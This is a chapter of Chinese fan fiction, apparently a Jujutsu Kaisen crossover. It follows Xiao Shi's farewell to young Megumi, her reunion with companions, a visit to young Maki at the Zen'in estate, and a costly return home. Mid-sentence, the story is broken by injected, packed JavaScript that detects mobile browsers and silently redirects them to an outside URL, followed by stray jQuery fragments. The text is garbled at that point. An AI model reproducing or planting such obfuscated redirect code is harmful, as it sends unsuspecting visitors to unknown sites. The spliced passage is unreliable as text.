小莳瞥了眼那边的情况,觉得多半不是这个细心的姐姐想的那么回事,不过这也不难,她就让孩子们去冰激凌车旁边坐着,去去就回。 最后她抱回了一个准确率100才能得到的大奖,她选了个粉色的玩偶。 津美纪有点着急地小声告诉她不是这个,“我觉得惠更喜欢那个挂件牌,姐姐你觉得呢?”她还后缀一个防止语气强硬的疑问。 被小朋友喊姐姐格外神清气爽的小莳回答:“我觉得他只是在看即使没打中也会得到父母夸奖的小孩子。无论做什么都会被包容的感觉太好了,虽然很任性……收下吧,津美纪,小惠不在意这些小挂件,我说的。” 她转过头,问他:“呐,你其实更希望津美纪快乐,对吧?毕竟是你自己选的家人。”对于小小年纪的伏黑惠来说,选不了爸爸,没有选妈妈,最靠谱的是很懂得关心人又温柔的姐姐,虽然他可能还没意识到这点。 他把头埋到小莳的背后,过了一会才低低应了一声,嗯。 “真的吗!谢谢你,惠。我会每天都开心的。”可把姐姐感动的不行,小莳在阳光下晒着,又听到这样让人心里暖暖的话,也很开心。 不过如果回去见到津美纪,对方问起职业,还是尴尬极了,她觉得还是就在这看看姐弟温馨互动就好。 又给最享受游玩的小姑娘买了根冷饮,最后再去游乐园的观光缆车里走了趟绕园一周的游览,今日的行程就到此为止。 伏黑惠问她为什么不吃甜点心,中午吃的也不多,她回答状态不好。打到出租车就坐在位置上睡觉,醒来的时候已经到他们家门口,津美纪先打开车门,还有礼貌的向司机道谢。 小莳结了帐,也下车。 在不经人打理的院子门口,她准备和孩子们告别,津美纪忽然指着她后头的巷子里问:“姐姐,那个白发的大哥哥你认识吗?” 小莳于是回头,看见了好久不见的白兰,以及……好多人啊。 她转回来,波澜不惊:“嗯。对,家里小时候带我的人,他接我回家。”津美纪知道了以后就向巷子里也招招手,算是有礼貌打了招呼,然后有点吃力地拖着玩偶回家,它的外面被工作人员扎了个漂亮的口袋,以防弄脏。 伏黑惠则看到了更多,他见到了其余的四人,其中更有一个,长得和他有点像,另一个……简直和爸爸一模一样。 “你是不是要回家了?”他问。 小莳解除了实体化,变成了咒灵以后就直接盘腿坐在地上:“嗯,看样子快了,来的人有点多,可能怕我不愿意回去想绑架吧。” “我们是不是不会再见了?” “昨天和你讲过了,这事不好说。”未来的事情里,发生了什么都有可能,她可不敢保证平行世界的事情。 “那你也认识爸爸,对不对?” 小莳知道肯定被他看见甚尔了,这说来有点丢人,她和他打商量:“你就当没看见他行不?看了你爸以后我有点不好意思承认我以前认识过他。” 本来想说点好听话的时候当成令人感动的一天句点小礼物,现在不行了,小莳从包里拿出来之前被他看到过的普通钥匙扣,质量很普通,看起来像是文具店里10个就给批发的薄利小商品。 “虽说你更重视津美纪,但应该也并不讨厌这个挂件,送你了。” 小小的伏黑惠看着手上有一个毛茸茸小狼的钥匙扣,愣怔。 “反正钱还够,我多玩了一次,看摊子的人知道我第二次只要这个鼓励奖简直感动到要落泪。毕竟我可是百发百中,这种程度的小游戏信手拈来。就当是我送给你的临别礼物。”糟糕,她送出去的东西真是越来越不入流了。 小莳又小声和他说:“别难过,之前我都看见了,那小孩都快哭出来,他比你差远了。”11岁以上,因为10枪不中,委屈到快掉小珍珠,爸妈强行挽尊。 伏黑惠低头说:“可他有家人。” “你想说你爸不爱你,妈妈又去世了?这个嘛……”小莳犹豫不决,不确定这话是否可以说,这个年纪的伏黑惠是否能理解。 最后她蹲在伏黑惠面前,真不敢相信自己竟然要对别人说起不擅长的亲子关系小秘诀,而且还有些那个前几天刚得罪了她的家伙的好话。 “有关你的父亲,他并不是一个好人,不单单对你,他对所有人一样烂。”这不是一句能宽慰到小朋友的好话,她语气柔和,“很显然,把人生和天赋挥霍到这种程度的人即使是我也没见过几个,不过,我不会说这一切都是他自己的错。他……他大概用了一辈子做了些很徒劳的抗争,最后都失败了,如果说一个人因此就用厚重的保护把自己封闭起来,我也不会觉得奇怪。只不过你恰好在他身边,所以受很多苦,这不是你应得的,只不过,生活就是会有这些差错。” “以及这个电话是你未来老师的,就是那个可疑的白发男子,蓝色眼睛的,不是脸上有奇怪纹身的那个(白兰)。如果你爸爸带你去见了什么奇怪的人,你可以不要责怪他,然后打这个电话,让悟帮你解决。你爸爸……如果想要摆脱谁,并不说明那个人是累赘,他只是不喜欢他自己,顺便伤害了很多别人。” 首先,祈祷这里的伏黑甚尔不要再卖小孩了;其次,至少给伏黑惠留一个求助电话;最后,提前告知一些信息,让他别对父亲有太多期待,至于这个,说不定惠很快就会忘掉,说不定他以后能理解,未来的魅力一部分就在于,谁也说不清。 如果伏黑甚尔没在几天前把她一枪崩了的话,她绝对会多少怜悯他。现在小莳觉得自己做了个赔本买卖,哼,就该让那家伙孤零零不被理解的爱干嘛干嘛去! 小小的伏黑惠走到门边敲门的时候还回头看了眼小莳,她还维持着蹲下的姿势,目光相对的时候,她还向他挥手,伏黑惠也想回应她,但在屋里打开门的津美纪拉住他,“惠,你怎么还不进来?大姐姐已经走了。”他还没能做出告别的动作,就回了家,门迅速被他爸爸关上,发出嘭的一声响。 这声音又引来了沙发上津美纪妈妈的不满,她冲人抱怨:“太重了,你温柔点。” “抱歉,手快了。” 伏黑惠小朋友没能和未来的女朋友告别,他也没再尝试开门往外看,因为他爸爸在催促他把衣服鞋袜脱下来,正好是洗衣时间。 “今天开心吗?惠,津美纪说那里很好玩。” “还不错,谢谢你。” 伏黑女士耸耸肩,这孩子一直有自己的想法,由着他自己上楼。 * 小莳看着伏黑惠的背影消失在门后面,心里也有些惆怅。又在地上蹲了两秒站起,转身,被吓得汗毛直竖,她跳远一步。 开口时已经抑制不住怒意:“说了多少次你不要这样站到人后面!吓到我了,更不用说我现在不想看到你这张脸。” 伏黑甚尔,一个永远不让人省心的家伙。 小巷里,五条悟打趣一样问自己的学生,“就这样让人抢占先机真的好吗?如果你需要的话,我和杰可以帮你治住他。” 清秀的少年没什么表情:“没有这个必要,他应该很着急。只是想躲开的话你们也拦不住他。” “看不出来你还挺了解你的‘爸爸’,惠小时候说话真是可爱,我的话好像没喊过爸爸这个词。”五条悟下意识想请朋友发表意见,转念一想不能,就此闭口。 夏油杰很自然接上:“我小时候倒是有喊过。” 五条悟很后悔自己提起这一茬。 “这是什么表情,我对自己做过的事心里有数,不会忘记的。不过,能看到另一个我免于后来陷入的一切,我很感激,这样的事情还是不要给孩子承担了吧。”他斜靠在墙上,眼睛里泛起紫色的光。跟着他的视线,注意重新又到了小莳那边。 小莳后退的空隙很快就被伏黑甚尔前进的一步弥补,他问她:“你不想遇见我,是不是?” “这不是显而易见的吗?” “不,我是说,你很后悔认识我,所以你没让他死,对不对?这样有一个世界的你就不用遇见我了。”伏黑甚尔的脸上出现了显而易见的懊悔,他的话就不带任何修辞技艺地传到了小莳的耳朵里。 “不算后悔,但后半句没说错。见到你对我而言,是一种命运的诈骗。”就算在自己身上达成了皆大欢喜的局面,换个世界就未必了,“你一直很有魅力,除了一枪打死小姑娘那部分,但我应该还是更偏好人格健全一点的类型。比如小惠。” 小莳对答如流,已经想清楚的事情不需要额外再进行多少思考。她的蓝眼睛里净是坦然,伏黑甚尔觉得自己的灵魂都要被吸入深不可测的海底,被旋涡咀嚼。 “那不是我。” “说得好,那么提问,是谁杀死了理子?” “……” 小莳冲他摇摇头:“我没想让你知道这些,可你竟然和他们一起来了。如果我和你道歉你会好受些吗?” “不是这样的。不应该是这样,小莳。”在她还没反应过来的时候,眼前的男人就将她拥在了怀里,很用力,但如果是伏黑甚尔的话他应该不算使劲,“我根本不在意另一个时空的我,我和他已经完全不是一个人了。我在乎的只有你,我不会伤害你,什么都会为你做的。” “所以,你的目光,能不能不要只看到惠,看看我好吗?” 他这样直白说话让小莳有点难为情,她小声让他松手,这会一举一动可是被四个人围观。他甚至还想凑近亲吻她,小莳基本上在大马路上完成了半个下腰,等到酸疼让她忍不住时,她觉得自己已经够给对方脸了,才开始训斥警告:“你要是敢在惠面前亲我,我就杀了你。” 他才作罢。 几句话的功夫,小莳对伏黑甚尔的印象就回到了十几年后。他和其他人都不同,与这里的这位,看上去没差。但现在,她想自己再也不会弄混了。 他说点什么,小莳脸上就热热的,这边的伏黑甚尔有相同的脸,但她看到他都没与之交谈的欲望。好吧,这下她知道,其实是人的问题,他说话的语调,他呼出的气息,他的心跳、眼神,有些把她带着走了。 她率先拐到巷子里,在白兰打算拿她取笑点什么的时候先行瞪视他一眼,他就什么都没说。小莳越过两个高大的无关人等,轻轻松松拉到了男朋友的手,她把自己贴过去靠着他:“好久不见,惠惠,你小时候还怪可爱的呢,而且脸蛋也很软。” 伏黑惠推开了小莳往他脸上戳的手指,然后攥住她的手腕,他说:“我很担心你,小莳。你一切都好就没关系了。” 小莳蹦跶一下,在他脸上留了一个吻。 * 再之后,小莳询问白兰还能在这里呆多久,大家就都知道她大概还想做什么事,一接到人,并且搞清楚了这个时代发生的事情后,五条悟就想回去继续忙自己的事业,他催促她,不要耽误回家。 小莳白了他一眼:“你是觉得这个世界的未来没有任何可以阻止的遗憾吗?你的宝贝特级学生要哭喽。” 提醒一下,有一个人要和诅咒谈恋爱。 “……”啊,这,确实没想到。五条悟想了想,这时候里香和他大概已经认识,再过五年,她就会在车祸里丧生。 “好吧,正好我可爱的学生现在应该在东京。那你呢?” 小莳叉腰:“我可是很大方的朋友,要去京都一趟,给真希送温暖。”开门,游云。 “真希前辈看不见你吧?她体内只有微弱的咒力,几乎没有。” “惠,我可是术士,你……平常应该能想到这些的。” 伏黑惠被说得红了脸。 “莫非这段时间一直都没休息好?” “……” “原来如此,你还真的很担心我。” “我没有。不是,我是说……我是说……” 小莳在他旁边笑;不远处五条悟对朋友摇头:“可怜的小惠,完全被玩弄于股掌之中。” 走在最后的白兰和自汇合后就被抛在一边的伏黑甚尔挑拨:“你完全被儿子掩盖了呢,真有趣,三个人之间竟然是这样的相处模式。跟我想象中不一样。” 彭格列里天天都有修罗场,而这段关系里,受到不公平对待的人是个闷葫芦。 男人用一声轻哼代表他听见了,算作回应。 “难道是因为情敌和你有血缘关系才……” “白兰。”小莳停住脚步,回头:“我听见了哦。” “嗨,嗨,我不说了。” 在一天最后的时间里,小莳去医院里看了眼传说中的两个孩子,正好又碰见了来探视的高专夏油杰。不管是不是因为小莳的原因他才愿意去那个山沟沟,但现在,他比谁都关心那两个孩子。 “人与人之间的缘分还真是没那么容易消散,你说是不,杰?”她回头去问已经历遍人事的伙伴,“这样显著一对比,你们两个还真是差别很大,你看上去……老了。” 夏油杰有点受不了小莳的说话方式,他才28:“……要不我们改成沧桑吧。” 五条老师扶着学生肩膀大笑。 结果两个孩子本来在病房的角落里缩得好好的,看见伏黑甚尔以后就主动向他走过去,小莳一开始还以为两孩子是往自己这边走,以为她们一面之下和自己这个美丽的大姐姐很投缘。 完全错付了。 不过,听说是很有警惕心的孩子,但她也没感受到,一旁高专的夏油杰也有些惊讶:“你说你们关系不好,可菜菜子和美美子看起来很喜欢你。” 小莳在略微思索中得出了结论:“她们,深柜。我就说我人见人爱,回去就让她们亲口承认关于对我欲罢不能这件事。” 两个16岁孪生女孩的父监护人再次捂住了眼睛,劝阻:“还是别了。” 高专的夏油杰在这刻觉得,未来的另一个世界的自己褪去了精英的外衣,露出了底下更真实,也有些老化的一面,他看上去经历了很多,有不少负担,总之,和与自己单独交流时流露的神情都不同。 最后,小莳问他要游云:“这可是送我朋友的见面礼,四舍五入也是你欠人家的。” 不存在的欠款增加了。年轻的夏油杰并未明白她在说什么,不过他乖乖照做。 次日,小莳决定速战速决前往京都,而五条悟则是去印象中的仙台,寻找自己还只有小小年纪的学生,给他捎个口信。他后来才想到,忧太只是初中在东京上学,在那之前,他的家乡在宫城县。 夏油杰不想加入任意一边--哪里都糟心,他和白兰在酒店里等待。说实话,他对纯爱这么时髦的词都有些过敏了。 在没满座的飞机上,伏黑甚尔问了小莳关于禅院真希的事情,“为什么说夏油杰欠她?” 这件事情还要追溯到2006年的初夏,有一个清纯的高中男生因为一句猴子的嘲讽轻轻地碎了这件事。“我只是单纯觉得用吗喽骂人太超时代了,还有你问起这件事本身就够地狱笑话了。” 给人带来好多年苦恼的家伙,在最后的最后,轻飘飘一句“发生什么事了”,幸好杰没跟来,他做得对。 近期一直想淡化过往历史,只是想找一个话题的伏黑甚尔踩了雷,一路也不敢再多说话。这个没正式见过面的堂妹因为他的原因,可能遭到了一些…… 伏黑甚尔回想了一下自己的青年时期,已经没那么排斥想起,但是脸和人名总对不上号,真的是过去了。不过……与他同辈的那些兄弟们关系都恶劣,加上同种类型天与咒缚的影响。 对方又是小莳能亲自送游云的朋友。 他只在规划潜入路线的时候为小莳提供了一手资源,“这地方十年都不会变,所以能轻易潜入,大部分干活的下人不是咒术师,看不见我们。” 伏黑惠侧目:“你怎么在这些地方这么精通?” “臭小子,我在这里住了十几年,你呢,有10天吗?” 算起来,自从小莳在飞机上和以前的自己对调,他就离开了禅院家,因此,真的不满10天。伏黑惠说不出话。 小莳安抚他情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15413179|168847||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绪:“马上就要见你姑妈了,你情绪平和些。” 这安慰一点也没有帮助:“……” 伏黑甚尔问她:“我呢?你不和我说什么吗?” 对于被索要待遇的事情也不是头一次经历,她就熟驾轻复读:“马上就要见你堂妹了,你情绪平和些。” “……你太敷衍了,小莳。” 行吧,这些人要求真不少。小莳把游云往屋上檐瓦一挂,它就像绳子一样吊在上头,微晃。她在伏黑惠脸上亲了一下,然后转到右边又贴面吻了伏黑甚尔。 禅院家屋舍黯淡的影子里,又走过几个匆匆的仆下。出于习惯,她还是等他们都了以后再说话:“现在可以给5岁孩子送温暖了吗?真希在家里过的和孤儿没多大区别。” “……” “……” 一阵安静后小莳才拍脑袋:“差点忘了,我们三个应该也差不多,对吧?” 没人肯说话。 诡异的氛围持续到小莳安慰完刚被母亲骂了一顿又被迫关了禁闭见不到妹妹的真希。她抱着小女孩几天没洗的头,一点也不含糊,好生和她说了光明的未来还有一定要保护好的5个亿。 “这把武器,可以根据使用者的身体素质发挥强度,正适合你的天赋。当然,你以后还会有很多其他的咒具,我认识的一个人用咒灵储存咒具,另一个把它们藏在影子里。当然,你最方便,你有个专门的忠实的仆人帮你携带需要的器具。”忠实的仆人什么的,有待商榷。 “它本来就属于你,我只是更提前交到你的手上。” …… 离开了禅院家,总感觉空气都变好了,小莳在路上不顾形象地伸懒腰,伏黑惠帮她扯下衣角。“你对真希前辈很温柔。” “因为心情好,这是我在过去的最后一件事了。而且仅仅因为才能特殊就被孤立,在某种程度上我们相像。人会对类似的情况更触动,也是寻常。” “不去看钉崎吗?” 婉拒:“不了,她在一个没吃过回转寿司的乡镇。京都是我的极限,虽然有不愉快的回忆,它好歹是大城市。” 伏黑惠也只是想到她们关系似乎更近才一提,小莳不爱勉强自己的事情他是清楚的,他点头,接下来的一切又听小莳安排。 于是他们当天就回到了东京,出租车上的又一次实体化让她有些体力不支,在晚上的机场候机厅里就睡着了,耷拉着头,然后被第一个发现的伏黑甚尔揽到他肩上靠着睡。 她过几分钟醒来以后就离开他的肩膀,到另一半男友的怀里去了。 伏黑甚尔不高兴:“你为什么要靠到他那边去?” 小莳比她更不高兴,指着自己两眉间的一块皮肤,再转过头去给他看后脑勺:“前几天,有个长得和你一样的男人嫌我麻烦,从这里,到这里,我被幻术反噬了,反转术式以前也不涉及幻术层面的诅咒。”简单来说,治不好,只能等时间疗愈。 她出于不知缘由的好心,还没特意把自己的苦难大肆宣扬,比如她本来可以配合度很高地帮助赏金猎人完成委托,只是他选择了一劳永逸的方法。 显然,在伏黑甚尔心中的天平上,一个素未谋面之人的姓命比不过一根羽毛,人间的苦难也好,受害者的哀求也罢,都不入他的耳,因为他选择不去听。 “……”伏黑甚尔在一会后还想说什么,小莳已经又睡着,而被依靠着的少年对他做了个噤声的手势。他很不爽,也只能闭嘴跟自己生闷气。 在更晚的时候,小莳醒来,发现自己已经躺在床上,她的腹部从身后那里搭着一只手,温暖,眼前则是向她侧睡的男友,睡颜无邪安静。 这是被夹心了,她稍微动了动,才发现自己的腿还搭到了人身上。伏黑甚尔的胳膊也在这时候收紧,把她往怀里拢。 “醒了?” “嗯。”头脑还有些昏昏沉沉。 “五条悟还没回来,听说要到明天下午。”他的嘴唇这会就贴在她耳边,声音很轻,呼吸让小莳的耳廓痒痒的。 她扯了一下他的胳膊:“别乱动,我要睡觉了。”伏黑甚尔就把她抱得更紧,她的背贴到一块热源,听见他说:“睡吧。” 小莳心想她还用他批准?这废话文学也真是的,但她没有反驳的欲望,很快又入了梦乡。 又过一天,一行人都快把酒店后厨吃出怪谈了,这时候,五条悟正好归来。 他脸上带着笑,步履轻松,心情不错。 小莳没问他和未来的学生说了什么,料想结果不错,她和乙骨关系不算亲密,不多问。收拾收拾准备回家。 “不知道奈亚现在怎么样。” 白兰回答:“进匣子了,你不在的时候他不太爱出来。他一向有自己的想法。”他还尝试过用A级指环开匣,火炎进去了,也有响应,但最后无事发生。 小莳:“看来我还真是隐藏款的万人迷体质,久违的又有了一种大家都爱我的错觉。” 同行里面只有五条悟会特意和她扯皮:“你也知道那是错觉。” “没办法,回一趟老家才知道家里人都觉得我是怪孩子,赶紧给他们做牛做马,地也擦了,墙也抹了,呜呜呜呜,回去以后我再也不要干活了。人员增减请找奈亚,咒术师委托请找其他人,我要休假!” “……你就是在这等着我,然后先发制人吗?小莳,你竟然会卖惨?!” 她点头:“会的,我还会躺在一张2X2的床上,玩手机一整天,怎么样,怕了吧?” “……小惠,你毕业了千万不能学她。” “……”聪明机敏的伏黑惠知道老师只是想cue他,无意加入,往后靠几步,站在她的另一边--她右手边是伏黑甚尔,那人在这方面总是很善于思考,小莳是右撇子,他会很自然地接过她手上的东西自己拿着,然后顺手牵上她。 不过……伏黑惠知道不应该为这些小事沾沾自喜,再说伴侣身边有个别人也不是值得骄傲的事情。可是,他低头看小莳主动对他伸出的手,小拇指还晃了晃。他牵了上去。 他们跟着白兰早就在郊外设置好的茧一样的装置,挨个进去。 “回去之后我们的形体还会回来吗?”总不能一直是个咒灵的形态。 只管运送货损概不负责的搬运工白兰耸肩:“这谁知道呢?” “……” 万幸,最后大家都安然回到了并盛。只不过……炸了一座山上的神社,那下面是风纪财团的基地。引来了草璧和一干人等的警戒后,事情因为大到必须要汇报给云雀而难以收场。 白兰脚底抹油先跑了,又是一番鸡飞狗跳。最后损失被归结到小莳身上,限她5个工作日内把清点好的维修费用打到账户里代扣款,重建的事情就交给在场而阻止不力的夏油杰。 被指名的两个人都很不满。小莳开启了互相怨怪的对话。 “你怎么不和恭弥说是白兰搞的?” “他是我上司,你怎么不说?” “并盛不大,我不想得罪他。” “我也是同样的理由。” 两人对视了一眼,都从对方眼里看到了相同的心思,小莳想也罢,她只要把账单上的钱划过去就好,也不是……什么破祠堂要9位数?!古董吗? “基地的对外防御用的是特殊材料,内部则有装置有效避免探测。那东西很贵,这次的爆炸破坏了外围防御--总之,系统也受到了损伤。”要知道即使是战时也不会有人特意来山上引爆一个不起眼的神社。草璧点到为止地给小莳解释了一下,让她对这笔费款无异议。 小莳含恨吞下。 伏黑甚尔往小莳手上看了一眼,本来想阔绰一把说“我帮你付一部分”的话也随动态视力捕捉到数字地那一刻和唾液一起咽下。 这年头赚钱不简单,他又不能再去接不明来历的赏金任务,以前剩下的钱买买房子也不剩多少,仅有的一点余额买买菜和家具差不多就行了。 小莳幽幽看了他一眼:“你这家伙,本来想说点什么的吧!” 伏黑甚尔目不斜视:“没有。”精打细算,过日子哩。 嘁,男人,不中用。 伏黑惠本来没很好奇,看见了他们的互动后也过来加入了这不幸的事业。他看了一眼,沉默。 “……” 然后他觉这也有自己的一部分责任,虽然是杯水车薪,思量着自己的存款还有未来的预计收入:“我可以承担一小部分。” 他报了一个数字,“这么多,大概,现在只有这些钱。” 小莳惊讶看了他一眼:“一级咒术师一年也才能赚这么些吧?” 是啊,一年抵不上这个账单的零头,伏黑惠因为女友直白的话产生了一点负担,可他还是说,而且很认真的告诉她:“只要是我有的,都可以给你。” 这下在场所有人就知道,有的人随随便便就成为了全场最高情商。 不是所有人都能抵抗得了这种程度的好听话,小莳立刻就把账单甩到伏黑甚尔怀里,冲上去跳到伏黑惠怀里,双腿盘着他的腰:“这种话说出来就不能反悔,知道么?” 她也不等他回答,搂着他的肩膀,侧过头吻他。 五条悟中肯评价,他难得主动和伏黑甚尔说话:“你被你儿子秒了。”他就说小惠长大一定会被喜欢,这点像他。 伏黑甚尔呛他:“你懂什么。”这是生活。 目前全场年龄最大的29岁白发男子开始模仿秀:“【我在乎的只有你,我不会伤害你,什么都会为你做的。】”阴阳怪气的。 接着,在夏油杰的观望下,这两个人在废墟上打了一架。 “好好珍惜这个机会,下次再在这里毁坏公共设施就要罚款了。”这次全场由小莳女士买单。 夕阳西下,他们还在有来有往,小莳捡了块石头坐:“你觉得谁会赢?” 伏黑惠:“想不到五条老师有什么放水的理由。” 小莳点头,她也想不到。 这一切都被伏黑甚尔听在耳朵里,他往无所事事还在给他喝倒彩的恋人那瞥了一眼,她就假装没看见,然后问伏黑惠晚上吃什么。 不出意外他又让她挑选,最后敲定了拉面。 在去往拉面店的路上,小莳为他治好了身上的伤:“你说说看,打又打不过,你还老上去挑事。你猜怎么着,你只是犯了一个每个伏黑甚尔都会犯的错。”说着摇头。 他简要反驳:“是他先的。” “你说话是幼儿园水平的。”回到自己身体的第一天,小莳感悟我当园长那些年。 “……”伏黑甚尔又过了一会才说话:“我不喜欢他,而且他说话的态度也很讨厌。” “你从他出生就讨厌他了。”小莳吐槽。 此话不假,伏黑甚尔认下了,然后说:“我不是不愿意给你钱,只是我还没有稳定的收入,现款没了就是没了,你别误会。我也会把所有的东西给你,只要你愿意。” 在场的另外两个人,小莳,还有伏黑惠,都因为他的话愣怔了一下,她很快反应过来:“哦,知道了。” “所以……” “所以?” “我不是小气,只是想一直和你生活下去。我以后会找个工作,也会有稳定的收入,工资卡和手机密码都给你。” “……” 伏黑甚尔也不是特别争气的性格,在爱情中尤其如此,他说到最后,只问她:“你能不能也亲我一下?不可以对那小子太偏心,你太喜欢他了。” 小莳因为他的话笑出声:“他可是我自己选的男朋友,我当然喜欢他。”说着她还拽着伏黑甚尔的衣领,牵引他低下身,在高度合适的时候碰上他的嘴唇,伏黑甚尔将她揽进怀里,加深了这个吻。 等他们唇瓣分离,她才说完后半句:“你是自己找上门来的,不过当然……我也喜欢你。” “哦。”说了很冷淡的话,但掩盖不住嘴角上扬,“那也挺好。” 小莳被伏黑甚尔牵着手,在伏黑惠又跟上来的时候,自然对他伸出另一只胳膊,他挽上。